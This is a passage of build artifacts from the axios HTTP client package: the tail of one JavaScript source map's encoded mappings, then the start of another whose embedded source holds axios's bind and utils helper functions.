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"}axios.min.js.map000064400000504164151677271550007615 0ustar00{"version":3,"file":"axios.min.js","sources":["../lib/helpers/bind.js","../lib/utils.js","../lib/core/AxiosError.js","../lib/helpers/toFormData.js","../lib/helpers/AxiosURLSearchParams.js","../lib/helpers/buildURL.js","../lib/core/InterceptorManager.js","../lib/platform/common/utils.js","../lib/defaults/transitional.js","../lib/platform/browser/index.js","../lib/platform/browser/classes/URLSearchParams.js","../lib/platform/browser/classes/FormData.js","../lib/platform/browser/classes/Blob.js","../lib/platform/index.js","../lib/helpers/formDataToJSON.js","../lib/defaults/index.js","../lib/helpers/toURLEncodedForm.js","../lib/helpers/parseHeaders.js","../lib/core/AxiosHeaders.js","../lib/core/transformData.js","../lib/cancel/isCancel.js","../lib/cancel/CanceledError.js","../lib/core/settle.js","../lib/helpers/speedometer.js","../lib/helpers/throttle.js","../lib/helpers/progressEventReducer.js","../lib/helpers/isURLSameOrigin.js","../lib/helpers/cookies.js","../lib/core/buildFullPath.js","../lib/helpers/isAbsoluteURL.js","../lib/helpers/combineURLs.js","../lib/core/mergeConfig.js","../lib/helpers/resolveConfig.js","../lib/adapters/fetch.js","../lib/adapters/xhr.js","../lib/helpers/parseProtocol.js","../lib/helpers/composeSignals.js","../lib/helpers/trackStream.js","../lib/adapters/adapters.js","../lib/helpers/null.js","../lib/core/dispatchRequest.js","../lib/env/data.js","../lib/helpers/validator.js","../lib/core/Axios.js","../lib/cancel/CancelToken.js","../lib/helpers/HttpStatusCode.js","../lib/axios.js","../lib/helpers/spread.js","../lib/helpers/isAxiosError.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n\n const iterator = generator.call(obj);\n\n let result;\n\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = '';\n const {length} = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length|0]\n }\n\n return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n 